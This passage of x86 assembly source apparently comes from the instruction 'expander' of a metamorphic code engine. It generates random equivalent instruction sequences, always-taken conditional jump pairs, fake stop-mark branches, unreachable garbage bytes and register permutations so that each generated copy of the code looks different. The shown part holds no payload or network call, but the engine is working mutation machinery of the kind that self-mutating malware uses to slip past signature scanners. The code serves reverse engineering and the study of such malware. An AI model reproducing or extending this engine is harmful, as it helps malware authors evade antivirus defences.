jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 51h ; Construct the PUSH Mem directly Xp_GenPUSHMem_Common: mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHMem endp ;; Generate a POP Reg Xp_GenPOPReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single ; Chance of 1/4 to make it complex @@Multiple: call Xp_SaveOperation call Xp_GetTempVar ; Get a temporary variable call Xp_GenPOPMem ; Make a POP [TempVar] mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem ; Make a MOV Reg,[TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 58h ; Make the POP Reg directly jmp Xp_GenPUSHReg_Common Xp_GenPOPReg endp ;; POP Mem is direct this time. If not, too many PUSH/POP Mem are generated Xp_GenPOPMem proc call Xp_IncreaseRecurseLevel @@Single: mov eax, 59h jmp Xp_GenPUSHMem_Common Xp_GenPOPMem endp ;; Generate a PUSH Imm Xp_GenPUSHImm proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call RandomBoolean or eax, eax ; Chance of 1/2 of making it complex jz @@Single @@Multiple: call Xp_SaveOperation call Xp_GetTempVar ; Get a temporary variable mov eax, 40h ; Make a MOV [TempVar],Imm mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemImm call Xp_GenPUSHMem ; Make a PUSH [TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 68h mov [edi], eax ; Make the instruction directly mov eax, [ebp+Xp_Immediate] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenPUSHImm endp ;; LEA: ;; As an instruction, LEA is only used for compressing instructions that will ;; be expanded here. If we find a LEA in the final x86 codification, it's a ;; LEA that is converted by the shrinker in MOV, ADD or any like that. ;; Using LEA in this way allow us to have a mini-embedded instruction swapper ;; 100% compatible in all cases. Xp_GenLEA proc call Xp_SaveOperation ; Save the operation mov eax, [ebp+Xp_Mem_Index1] cmp eax, [ebp+Xp_Register] ; Index1 == destiny register? jz @@Addition1 ; Then, addition mov eax, [ebp+Xp_Mem_Index2] cmp eax, [ebp+Xp_Register] ; Index2 == destiny register? jz @@Addition2 ; Then, addition mov eax, 40h mov [ebp+Xp_Operation], eax ; Set MOV as first instruct. @@MOV_Other: call Random and eax, 3 or eax, eax jz @@MOV_Other cmp eax, 1 jz @@MOV_FirstIndex1 ; Make MOV/ADD with first index cmp eax, 2 jz @@MOV_FirstIndex2 ; Make MOV/ADD with second index @@MOV_FirstAddition: ; Make MOV/ADD with DWORD addition mov eax, [ebp+Xp_Mem_Addition] or eax, eax jz @@MOV_Finished2 ; It's 0? Then look if we finished mov [ebp+Xp_Immediate], eax call Xp_GenOPRegImm ; Generate a MOV/ADD Reg,Imm xor eax, eax ; Set ADD operation from now mov [ebp+Xp_Mem_Addition], eax jmp @@MOV_Finished @@MOV_FirstIndex1: mov eax, [ebp+Xp_Mem_Index1] ; Get the first index cmp eax, 8 ; If 8 (no_reg), jump to look jz @@MOV_Finished2 ; if we finished mov [ebp+Xp_SrcRegister], eax ; Set the register and gen. call Xp_GenOPRegReg ; a MOV/ADD Reg,Reg1 mov eax, 8 mov [ebp+Xp_Mem_Index1], eax ; Anulate the register jmp @@MOV_Finished @@MOV_FirstIndex2: mov eax, [ebp+Xp_Mem_Index2] ; Get the 2nd register and cmp eax, 8 ; look if we have finished jz @@MOV_Finished2 cmp eax, 8 ; If it hasn't a multiplicator jb @@MOV_FirstIndex2_Set ; then make the MOV/ADD sub eax, 40h ; Subtract the multiplicator @@MOV_FirstIndex2_Set: mov [ebp+Xp_SrcRegister], eax ; Set the source register call Xp_GenOPRegReg ; Generate a MOV/ADD Reg,Reg2 mov eax, [ebp+Xp_Mem_Index2] cmp eax, 7 ; Do it have a multiplicator? jbe @@MOV_FirstIndex2_Set8 ; If not, eliminate the reg. sub eax, 40h ; Eliminate the multiplicator mov [ebp+Xp_Mem_Index2], eax ; Set the clear register jmp @@MOV_Finished @@MOV_FirstIndex2_Set8: mov eax, 8 ; Set no_reg mov [ebp+Xp_Mem_Index2], eax @@MOV_Finished: xor eax, eax ; Set ADD as operation from mov [ebp+Xp_Operation], eax ; now @@MOV_Finished2: mov eax, [ebp+Xp_Mem_Index1] ; Get the index1 cmp eax, 8 ; If it's not no_reg, then jnz @@MOV_Other ; it's not finished mov eax, [ebp+Xp_Mem_Index2] ; Get the index2 cmp eax, 8 ; no_reg? jnz @@MOV_Other ; If not, continue mov eax, [ebp+Xp_Mem_Addition] or eax, eax ; Check if addition is 0 jnz @@MOV_Other ; If not, continue call Xp_RestoreOperation ; We finish when both indexes are ret ; 8 and the addition is 0 @@Addition1: mov eax, 8 mov [ebp+Xp_Mem_Index1], eax ; Set 8 as Index1 and put ADD jmp @@MOV_Finished ; to make it directly @@Addition2: mov eax, 8 mov [ebp+Xp_Mem_Index2], eax ; Set 8 as Index2 and start jmp @@MOV_Finished ; with ADD instead as with MOV Xp_GenLEA endp ;; Generate a NOT Reg Xp_GenNOTReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax ; Generate a complex NOT with jnz @@Single ; a prob. of 1/4 call Xp_GenNEGReg ; Generate a NEG call Xp_SaveOperation mov eax, -1 ; And now generate an ADD Reg,-1 Xp_GenNOTReg_Common: mov [ebp+Xp_Immediate], eax xor eax, eax mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_8Bits] ; Generate directly the NOT or eax, eax jz @@NOT32 mov eax, 0E2h jmp @@NOT_ @@NOT32: mov eax, 0E0h @@NOT_: Xp_GenNOTReg_Common_Direct: mov [edi], eax ; Construct the NOT/NEG instruction mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenNOTReg endp ;; Generate a NEG Reg instruction or group of instructions that do the same Xp_GenNEGReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_GenNOTReg ; Make a NOT Reg + ADD Reg,1 call Xp_SaveOperation mov eax, 1 jmp Xp_GenNOTReg_Common @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NEG32 mov eax, 0E6h jmp Xp_GenNOTReg_Common_Direct @@NEG32: mov eax, 0E4h jmp Xp_GenNOTReg_Common_Direct Xp_GenNEGReg endp ;; Generate a NOT Mem Xp_GenNOTMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single ; Complex: call Xp_GenNEGMem ; Generate a NEG Mem + ADD Mem,-1 call Xp_SaveOperation mov eax, -1 Xp_GenNOTMem_Common: mov [ebp+Xp_Immediate], eax xor eax, eax mov [ebp+Xp_Operation], eax call Xp_GenOPMemImm jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NOT32 mov eax, 0E3h jmp @@NOT_ @@NOT32: mov eax, 0E1h @@NOT_: Xp_GenNOTMem_Common_Direct: mov [edi], eax ; Construct the NOT/NEG Mem instrc. call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenNOTMem endp ;; Generate a NEG Mem Xp_GenNEGMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single ; Complex: call Xp_GenNOTMem ; Make NOT Mem + ADD Mem,1 call Xp_SaveOperation mov eax, 1 jmp Xp_GenNOTMem_Common @@Single: mov eax, [ebp+Xp_8Bits] or eax, eax jz @@NEG32 mov eax, 0E7h jmp Xp_GenNOTMem_Common_Direct @@NEG32: mov eax, 0E5h jmp Xp_GenNOTMem_Common_Direct Xp_GenNEGMem endp ;; Generate a RET operation Xp_GenRET proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single ; Put it directly with a prob. of 1/4 call Xp_SaveOperation call Xp_GetTempVar ; Allocate a temporary variable call Xp_GenPOPMem ; Make a POP [TempVar] call Xp_GenJMPMem ; Make a JMP [TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0FEh ; Code the RET directly and mov [edi], eax ; generate some not-reachable add edi, 10h ; garbage. jmp Xp_DecreaseRecurseLevel Xp_GenRET endp ;; Generate a CALL Reg Xp_GenCALLReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 ; Make it complex with a prob. of or eax, eax ; 1/4 jnz @@Single call Xp_SaveOperation call Xp_GetTempVar ; Let's make MOV [TempVar],Reg + mov eax, 40h ; + CALL [TempVar] mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg call Xp_GenCALLMem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0ECh ; Code the CALL directly mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenCALLReg endp ;; Generate a CALL Mem (used for API calls, so EAX, ECX and EDX regs. are free ;; for use). Xp_GenCALLMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call RandomBoolean or eax, eax jnz @@Single ; Make it complex with a prob. of 1/2 @@Multiple: call RandomBoolean or eax, eax jz @@Multiple_Reg ; Here we can use EAX,ECX or EDX call Xp_SaveOperation call Xp_GenPUSHMem ; Make PUSH [Mem] call Xp_GetTempVar call Xp_GenPOPMem ; Make POP [TempVar] call Xp_GenCALLMem ; Make CALL [TempVar] jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Multiple_Reg: call Xp_SaveOperation @@Multiple_Reg_Again: call Random and eax, 3 cmp eax, 3 jz @@Multiple_Reg_Again ; Get EAX, ECX or EDX mov [ebp+Xp_Register], eax mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem ; Make MOV EAX/ECX/EDX,[Mem] call Xp_GenCALLReg ; Make CALL EAX/ECX/EDX jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: mov eax, 0EAh ; Code the CALL [Mem] directly Xp_GenCALLMem_Common: mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenCALLMem endp ;; Generate a JMP Reg Xp_GenJMPReg proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call RandomBoolean or eax, eax jz @@Single call Random and eax, 3 ; Make it complex with a prob. of 1/4 or eax, eax jz @@Double_1 @@Double_0: call Xp_SaveOperation call Xp_GetTempVar ; Allocate a temporary variable mov eax, 40h mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_8Bits], eax call Xp_GenOPMemReg ; Make a MOV [TempVar],Reg call Xp_GenJMPMem ; Make a JMP [TempVar] call Xp_RestoreOperation ; Generate some not-reachable jmp Xp_EndJmp ; garbage @@Double_1: call Xp_GenPUSHReg ; Make PUSH Reg + RET call Xp_GenRET jmp Xp_EndJmp @@Single: mov eax, 0EDh ; Make the JMP Reg directly mov [edi], eax mov eax, [ebp+Xp_Register] mov [edi+1], eax add edi, 10h jmp Xp_EndJmp ; Make some garbage Xp_GenJMPReg endp ;; Generate a JMP [Mem] Xp_GenJMPMem proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call Random and eax, 3 or eax, eax jnz @@Single call Xp_SaveOperation call Xp_GenPUSHMem ; Make PUSH Mem call Xp_GetTempVar call Xp_GenPOPMem ; Make POP Mem call Xp_GenJMPMem ; Make JMP Mem call Xp_RestoreOperation jmp Xp_EndJmp ; Generate some garbage @@Single: mov eax, 0EBh ; Code the JMP Mem directly mov [edi], eax call Xp_CopyMemoryReference add edi, 10h jmp Xp_EndJmp Xp_GenJMPMem endp ;; This function generates a JMP @xxx or a group of instructions that make ;; the same, like CMP Reg,Reg/JZ @xxx. Xp_GenJMP proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single ; Increase the recurse level and make the JMP ; directly if we are too deep in recursivity mov eax, [ebp+AddressOfLastInstruction] sub eax, 10h cmp eax, esi ; Check if we are making the last instrc. jz @@Single ; If so, code it directly call Random and eax, 7 ; Make a complex JMP with a prob. of 1/8 or eax, eax jnz @@Single @@Double_Other: call Random ; Now select the type of complext JMP we and eax, 3 ; are going to make. or eax, eax jz @@Double_Other cmp eax, 1 ; Make Jcc(even) + Jcc(odd) or vicev. jz @@Double_JccJcc cmp eax, 2 ; Make CMP + Jcc jz @@Double_CMPJcc ; Let's do Jcc + Jcc (2nd version) mov edx, 73h mov ecx, 76h @@Double_JccJcc2: call Random or eax, eax ; Make a random selection of two jz @@Double_JccJcc2_Next ; types of conditional jumps from mov edx, 75h ; the set JAE, JBE, JNZ: any @@Double_JccJcc2_Next: ; combination of two of these call RandomBoolean ; types one after another will or eax, eax ; perform an unconditional JMP. jz @@Double_JccJcc2_Next02 mov eax, edx ; Exchange them randomly mov edx, ecx mov ecx, eax @@Double_JccJcc2_Next02: call Xp_SaveOperation push ecx ; Set the first Jcc (EDX) mov [ebp+Xp_Operation], edx call Xp_GenJcc_SingleJcc ; Make a direct Jcc pop ecx ; Set the second Jcc (ECX) mov [ebp+Xp_Operation], ecx call Xp_GenJcc_SingleJcc ; Make the direct Jcc call Xp_RestoreOperation jmp @@InsertStopMark ; Since there aren't branch-end ; instructions (although when executed they ; will never pass beyond), we must insert ; a branch-end instruction to force the ; disassembler to stop the branch of code. @@Double_CMPJcc: call Xp_SaveOperation ; Let's make a CMP Reg,Reg/Jcc mov eax, 38h mov [ebp+Xp_Operation], eax @@Double_CMPJcc_x: call Random ; Get a register to compare and eax, 7 cmp eax, 4 ; Don't play with ESP! jz @@Double_CMPJcc_x mov [ebp+Xp_Register], eax ; Set source and destiny mov [ebp+Xp_SrcRegister], eax ; register as the same xor eax, eax ; Set a size of 32 bits mov [ebp+Xp_8Bits], eax call Xp_GenOPRegReg ; Construct the comparision instrc. call Xp_GetSpecialJcc ; Get a Jcc that is prepared for @@Double_CMPJcc_Common: ; this type of operation xor eax, 1 ; Invert the last bit, since the mov [ebp+Xp_Operation], eax ; returned Jcc is prepared ; to make a NOP operation. call Xp_GenJcc_SingleJcc ; Make the Jcc as a single ins. call Xp_RestoreOperation jmp @@InsertStopMark ; Set a stop mark. @@Double_JccJcc: call Xp_SaveOperation ; Other type of a pair of Jccs that call Random ; always jump: any conditional jump and eax, 0Fh ; with even opcode has its opposite add eax, 70h ; in the same opcode but setting last mov [ebp+Xp_Operation], eax ; bit to 1. So, we select a push eax ; random conditional jump, we call Xp_GenJcc_SingleJcc ; insert it, and after that we pop eax ; insert the same Jcc but with the jmp @@Double_CMPJcc_Common ; bit 0 inversed. Example: ; JZ @xxx + JNZ @xxx ; JB @xxx + JAE @xxx @@Single: mov eax, 0E9h ; The jump directly. mov [edi], eax mov eax, [ebp+Xp_Immediate] mov [edi+1], eax add edi, 10h Xp_EndJmp: call Random ; Now make garbage bytes with a prob. and eax, 3 ; of 1/4 or eax, eax jnz Xp_DecreaseRecurseLevel call Random ; Make a quantity of bytes from 1 to 8 and eax, 7 add eax, 1 mov ecx, eax @@LoopInsert: call Random ; Get a random byte mov al, 0FDh ; Set FD pseudoopcode (it means "insert mov [edi], eax ; this byte directly into the code"). add edi, 10h sub ecx, 1 or ecx, ecx ; Repeat it the random number that we jnz @@LoopInsert ; got before jmp Xp_DecreaseRecurseLevel ;; Let's insert an instruction that acts as a stop mark for the code branch. ;; This is necessary because if we code a jump as a CMP Reg,Reg / JZ @xxx, ;; the disassembler will continue tracing the code after the JZ (it's just ;; a conditional jump, not an unconditional one). So, we must set a "release" ;; mark that makes the disassembler to stop processing this line of code: RET, ;; JMP Reg or JMP Mem. @@InsertStopMark: call Random and eax, 3 or eax, eax ; 0? jz @@InsertStopMark ; Then select another number cmp eax, 1 jz @@GenerateRET ; Make RET cmp eax, 2 jz @@GenerateJMPMem ; Make JMP Mem ; Make a JMP Reg. We don't care where it goes, since it's never ; going to be executed. @@GenerateJMPReg: call Xp_SaveOperation call Random ; Get a random register and eax, 7 ; Set it mov [ebp+Xp_Register], eax xor eax, eax ; Mark 32 bits size mov [ebp+Xp_8Bits], eax call Xp_GenJMPReg ; Generate a JMP Reg jmp Xp_RestoreOpAndDecreaseRecurseLevel ; Make a JMP [Mem] @@GenerateJMPMem: call Xp_SaveOperation ; Allocate a temporary variable call Xp_GetTempVar ; mov eax, [ebp+Xp_Immediate] ; Something that I did and ; and eax, 0FFFF00FFh ; I don't remember why... :? ; mov [ebp+Xp_Immediate], eax call Xp_GenJMPMem ; Generate a JMP Mem jmp Xp_RestoreOpAndDecreaseRecurseLevel @@GenerateRET: call Xp_GenRET ; Generate a RET jmp Xp_DecreaseRecurseLevel Xp_GenJMP endp ;; This function generates a conditional jump directly or composed. Here we ;; use all the variants the shrinker is capable to shrink (obviously, because ;; if not this jumps would never be compressed). Xp_GenJcc proc call Xp_IncreaseRecurseLevel cmp eax, 2 ; Code the composed jumps only on the first jae @@Single ; levels of recursivity call Random and eax, 3 ; Make it directly with a prob. of 75% or eax, eax jnz @@Single @@Double: call Random and eax, 0Fh or eax, eax ; Get a chance of 1/16 jnz @@Double2 ; If the odds selected the other 15/16, ; make a normal double mov eax, 1 ; Mark the conditional jump as being mov [edi+7], eax ; coded as NEG_Jcc + JMP. For example: call @@InternalSingle2 ; JZ @x --> JNZ @y/JMP @x/ @y: jmp Xp_DecreaseRecurseLevel @@Double2: mov eax, [ebp+Xp_Operation] cmp eax, 73h ; JAE? jz @@Double_JAE cmp eax, 75h ; JNZ? jz @@Double_JNZ cmp eax, 76h ; JBE? jnz @@Single @@Double_JBE: mov ebx, 72h ; If JBE, we can select any pair from mov ecx, 74h ; the set JB,JZ,JBE and we'll making a JBE mov edx, 76h jmp @@Double_GarbleAndSelect @@Double_JNZ: mov ebx, 72h ; If JNZ, we can select a pair from the mov ecx, 75h ; set JB,JNZ,JA mov edx, 77h jmp @@Double_GarbleAndSelect @@Double_JAE: mov ebx, 73h ; If JAE, the set to select is JAE,JZ,JA mov ecx, 74h mov edx, 77h @@Double_GarbleAndSelect: call Xp_GarbleRegisters ; Get ramdomly two from that set. call Xp_SaveOperation push ecx mov [ebp+Xp_Operation], edx ; Generate the first Jcc call @@InternalSingle pop ecx mov [ebp+Xp_Operation], ecx ; Generate the second Jcc call @@InternalSingle jmp Xp_RestoreOpAndDecreaseRecurseLevel @@Single: call @@InternalSingle ; Make it single jmp Xp_DecreaseRecurseLevel Xp_GenJcc_SingleJcc: @@InternalSingle: xor eax, eax ; For singles, we mark the Jcc as mov [edi+7], eax ; not being NEG_Jcc/JMP @@InternalSingle2: mov eax, [ebp+Xp_Operation] ; Code the instruction mov [edi], eax mov eax, [ebp+Xp_Immediate] mov [edi+1], eax add edi, 10h ret Xp_GenJcc endp ;; This function is to generate a MOVZX. We have three variants: the MOVZX ;; itself, MOV Reg,[Mem]/AND Reg,0FF or MOV Reg,0/MOV Reg8,[Mem] Xp_GenMOVZX proc call Xp_IncreaseRecurseLevel cmp eax, 3 jae @@Single call RandomBoolean ; Single? or eax, eax jz @@Single ; Then, jump call RandomBoolean or eax, eax jz @@Double_1 ; Pair 1 or pair 2? @@Double_2: xor eax, eax ; First construct the MOV Reg,[Mem] mov [ebp+Xp_8Bits], eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegMem ; Generate the operation xor eax, eax ; And now make AND Reg,0FFh mov [ebp+Xp_8Bits], eax mov eax, 20h mov [ebp+Xp_Operation], eax mov eax, 0FFh mov [ebp+Xp_Immediate], eax call Xp_GenOPRegImm ; Generate the operation jmp Xp_DecreaseRecurseLevel @@Double_1: mov eax, [ebp+Register8Bits] call Xpand_TranslateRegister mov ebx, [ebp+Xp_Register] cmp eax, ebx jnz @@Double_2 mov eax, 40h ; Make first a MOV Reg,0 mov [ebp+Xp_Operation], eax xor eax, eax mov [ebp+Xp_Immediate], eax mov [ebp+Xp_8Bits], eax call Xp_GenOPRegImm mov eax, 80h ; And now make a MOV Reg8,[Mem] mov [ebp+Xp_8Bits], eax call Xp_GenOPRegMem jmp Xp_DecreaseRecurseLevel @@Single: mov eax, 0F8h ; Code directly the instruction. mov [edi], eax call Xp_CopyMemoryReference mov eax, [ebp+Xp_Register] mov [edi+7], eax add edi, 10h jmp Xp_DecreaseRecurseLevel Xp_GenMOVZX endp ;; Function to make the SET_WEIGHT code mark. Xp_MakeSET_WEIGHT proc call Xp_SaveOperation mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenPUSHReg mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm call Xp_RestoreOperation mov eax, [ebp+Xp_Immediate] or eax, eax jz @@ReadWeightIdent0 cmp eax, 1 jz @@ReadWeightIdent1 cmp eax, 2 jz @@ReadWeightIdent2 cmp eax, 3 jz @@ReadWeightIdent3 cmp eax, 4 jz @@ReadWeightIdent4 @@ReadWeightIdent5: mov eax, [ebp+Weight_X020_23] jmp @@SetWeight @@ReadWeightIdent0: mov eax, [ebp+Weight_X000_3] jmp @@SetWeight @@ReadWeightIdent1: mov eax, [ebp+Weight_X004_7] jmp @@SetWeight @@ReadWeightIdent2: mov eax, [ebp+Weight_X008_11] jmp @@SetWeight @@ReadWeightIdent3: mov eax, [ebp+Weight_X012_15] jmp @@SetWeight @@ReadWeightIdent4: mov eax, [ebp+Weight_X016_19] @@SetWeight: mov [ebp+Xp_Immediate], eax mov eax, 40h mov [ebp+Xp_Operation], eax call Xp_GenOPRegImm call Xp_GenOPMemReg mov eax, [ebp+Xp_SrcRegister] mov [ebp+Xp_Register], eax call Xp_GenPOPReg ret Xp_MakeSET_WEIGHT endp ;;; ------------------------------------------------ ;;; ;; Now these are helper functions. They are used from other parts of the ;; engine, not only by the expander. ;; This function is an optimization of how we cam make in little code a ;; permutation of three registers in a way that every possible combination ;; is present, and moreover all them have the same probability of appear. ;; The theory is that there are 6 possible permutations for a set of three ;; values (in this case EBX, ECX and EDX). Then, following the code, you'll ;; see that the permutation is made by: ;; ;; 1) Randomly decide if goto 3) ;; 2) Exchange 1st and 2nd OR Exchange 1st and 3rd (always) ;; 3) Decide if we exchange 2nd and 3rd. Do it or not. Xp_GarbleRegisters proc call Random and eax, 3 or eax, eax jz Xp_GarbleRegisters cmp eax, 1 jz @@Permutation0 cmp eax, 2 jz @@Permutation1 @@Permutation2: mov eax, ebx mov ebx, edx mov edx, eax ; XCHG EBX,EDX jmp @@Permutation0 @@Permutation1: mov eax, ebx mov ebx, ecx mov ecx, eax ; XCHG EBX,ECX @@Permutation0: call RandomBoolean or eax, eax jz @@Return @@Permutation0_0: mov eax, edx mov edx, ecx mov ecx, eax ; XCHG ECX,EDX @@Return: ret Xp_GarbleRegisters endp ;; Get an special conditional jump. The jump obtained here is specially ;; selected to be used for CMP Reg,Reg/Jcc @x pairs. The direct result from ;; this instruction will make that the conditional jump never occurs, while ;; if we inverse the bit 0 of the Jcc returned we'll make that the Jcc ;; always jump. ;; The algorithm here is a hard optimization to select one of that types of ;; jumps. The jumps that act like a NOP are JO/JB/JNZ/JA/JS/JNP/JL/JG, while ;; the ones that always jump are JNO/JAE/JZ/JBE/JNS/JP/JGE/JLE. We are going ;; to use only the NOP ones. The opcodes in number are: ;; ;; 70,72,75,77,78,7B,7C,7F ;; ;; So these are the only values we can return. We pass them to binary (only ;; the low nibble): ;; ;; 0000,0010,0101,0111,1000,1011,1100,1111 ;; ;; And we see that the values are repeated in a certain way. Let's join them ;; in groups: ;; 0000 1000 0 00 0 1 00 0 ;; 0010 1011 0 01 0 1 01 1 ;; 0101 1100 --> 0 10 1 1 10 0 ;; 0111 1111 0 11 1 1 11 1 ;; ;; The numbers are the same, excepting by the high bit and the low one. ;; Now, just notice that when the high bit is clear the lowest bit is the ;; same than the bit 2, and when the high bit is set the lowest bit is equal ;; to the bit 1. Then, what we do is to copy the bit 2 or 1 to the bit 0 ;; depending if bit 3 is 0 or 1. Just what we do below. Xp_GetSpecialJcc proc push ebx call Random mov ebx, eax ; Copy the random in EBX and eax, 0Eh ; Get a random number from 00 to 0E (even) cmp eax, 8 ; High bit active? jae @@Next ; Then only shift EBX once shr ebx, 1 @@Next: shr ebx, 1 and ebx, 1 ; Get the resulting last bit add eax, ebx ; Add it to the random from 00 to 0E add eax, 70h ; Convert it to Jcc pop ebx ret Xp_GetSpecialJcc endp ;; This function will take the operation to perform (in an OP Reg/Mem,Imm ;; operation) and will calculate a pair of operation that do the same with ;; a new Imm value for each one. The MOV has the most variated results, and ;; there are others that can't be decomposed, such SUB. ;; The decomposition is done in the following way for every case. I had to ;; deduce each formula (concretely for OR and AND) from scratch, so maybe ;; there are others better, but I didn't find them. Maybe the formulas ;; below aren't correct: that's because I coded it, optimize it, and I didn't ;; remember to write down the process, so I have to re-deduce them :). ;; ;; Taking Rnd1, Rnd2 as random numbers, and Imm as the destiny value: ;; MOV: ;; MOV Rnd1, ADD Imm-Rnd1 ;; MOV Rnd1&Imm, OR ((Rnd2 & Imm)^(Rnd1 & Imm))|(Rnd2 & Imm) ;; MOV (Rnd2 & NOT(Rnd1))|Imm, AND (Rnd1 | Imm) (1) ;; MOV NOT(Rnd1)|Imm, AND Rnd1|Imm (2) ;; MOV Rnd1, XOR Rnd1^Imm ;; ;; ADD: ;; ADD Rnd1, ADD Imm-Rnd1 ;; OR: ;; OR Rnd1&Imm, OR ((Rnd1&Imm)^Imm)|(Imm&Rnd2) ;; AND: ;; AND Imm|Rnd1, AND Imm|NOT(Rnd1) ;; XOR: ;; XOR Rnd1, XOR Imm^Rnd1 ;; Xp_MakeComposedOPImm proc call Xp_SaveOperation call Random mov ebx, eax ; Get a random number in EBX mov edx, [ebp+Xp_Immediate] ; Get the Imm in EDX mov eax, [ebp+Xp_Operation] ; Get the operation or eax, eax jz @@Double_OP_ADD ; ADD? cmp eax, 8 jz @@Double_OP_OR ; OR? cmp eax, 20h jz @@Double_OP_AND ; AND? cmp eax, 30h jz @@Double_OP_XOR ; XOR? cmp eax, 40h jnz @@Return_Error @@Double_OP_MOV: ; MOV? call Random and eax, 7 or eax, eax jz @@Double_OP_MOV_ADD ; MOV + ADD cmp eax, 1 jz @@Double_OP_MOV_OR ; MOV + OR cmp eax, 2 jz @@Double_OP_MOV_AND ; MOV + AND cmp eax, 3 jz @@Double_OP_MOV_XOR ; MOV + XOR cmp eax, 4 jnz @@Double_OP_MOV ; MOV only @@Double_OP_MOV_MOV: mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_MOV_MOV_MakeReg call Xp_GenOPMemImm jmp @@Return_NoError @@Double_OP_MOV_MOV_MakeReg: call Xp_GenOPRegImm jmp @@Return_NoError @@Double_OP_MOV_ADD: ; Calculate the two Imms for sub edx, ebx ; MOV + ADD xor ecx, ecx jmp @@Double_OP_MOV_OP @@Double_OP_MOV_OR: and ebx, edx ; Calculate the two Imms for call Random ; MOV + OR and eax, edx xor edx, ebx or edx, eax mov ecx, 8 jmp @@Double_OP_MOV_OP @@Double_OP_MOV_AND: call RandomBoolean ; Calculate the two Imms for or eax, eax ; MOV + AND (two different jz @@Double_OP_MOV_AND_2 ; methods) call Random not ebx and eax, ebx not ebx mov ecx, eax or ecx, edx or edx, ebx mov ebx, ecx mov ecx, 20h jmp @@Double_OP_MOV_OP @@Double_OP_MOV_AND_2: mov ecx, ebx not ecx or ecx, edx or edx, ebx mov ebx, ecx mov ecx, 20h jmp @@Double_OP_MOV_OP @@Double_OP_MOV_XOR: ; Calculate the two Imms for XOR xor edx, ebx mov ecx, 30h @@Double_OP_MOV_OP: ; Make the two instructions: push ecx push edx mov eax, 40h ; Generate a MOV Reg/Mem,Imm1 mov [ebp+Xp_Operation], eax mov [ebp+Xp_Immediate], ebx mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_MOV_OP_MakeReg call Xp_GenOPMemImm pop edx pop ecx ; Generate an OP Mem,Imm2 mov [ebp+Xp_Operation], ecx mov [ebp+Xp_Immediate], edx call Xp_GenOPMemImm jmp @@Return_NoError @@Double_OP_MOV_OP_MakeReg: call Xp_GenOPRegImm pop edx ; Generate an OP Reg,Imm2 pop ecx mov [ebp+Xp_Operation], ecx mov [ebp+Xp_Immediate], edx call Xp_GenOPRegImm jmp @@Return_NoError @@Double_OP_ADD: sub edx, ebx ; Calculate the 2nd Imm for ADD jmp @@Double_OP_OP @@Double_OP_OR: and ebx, edx ; Calculate the two Imms for OR+OR mov ecx, edx xor edx, ebx call Random and ecx, eax or edx, ecx jmp @@Double_OP_OP @@Double_OP_AND: mov ecx, ebx ; Calculate the two Imms for AND+AND or ebx, edx not ecx or edx, ecx jmp @@Double_OP_OP @@Double_OP_XOR: xor edx, ebx ; Calculate the two Imms for XOR+XOR @@Double_OP_OP: push edx ; Make OP Mem/Reg,Imm1 + OP Mem/Reg,Imm2 mov [ebp+Xp_Immediate], ebx mov eax, [ebp+Xp_FlagRegOrMem] or eax, eax jz @@Double_OP_OP_MakeReg call Xp_GenOPMemImm ; Make OP Mem,Imm1 pop edx mov [ebp+Xp_Immediate], edx call Xp_GenOPMemImm ; Make OP Mem,Imm2 jmp @@Return_NoError @@Double_OP_OP_MakeReg: call Xp_GenOPRegImm ; Make OP Reg,Imm1 pop edx mov 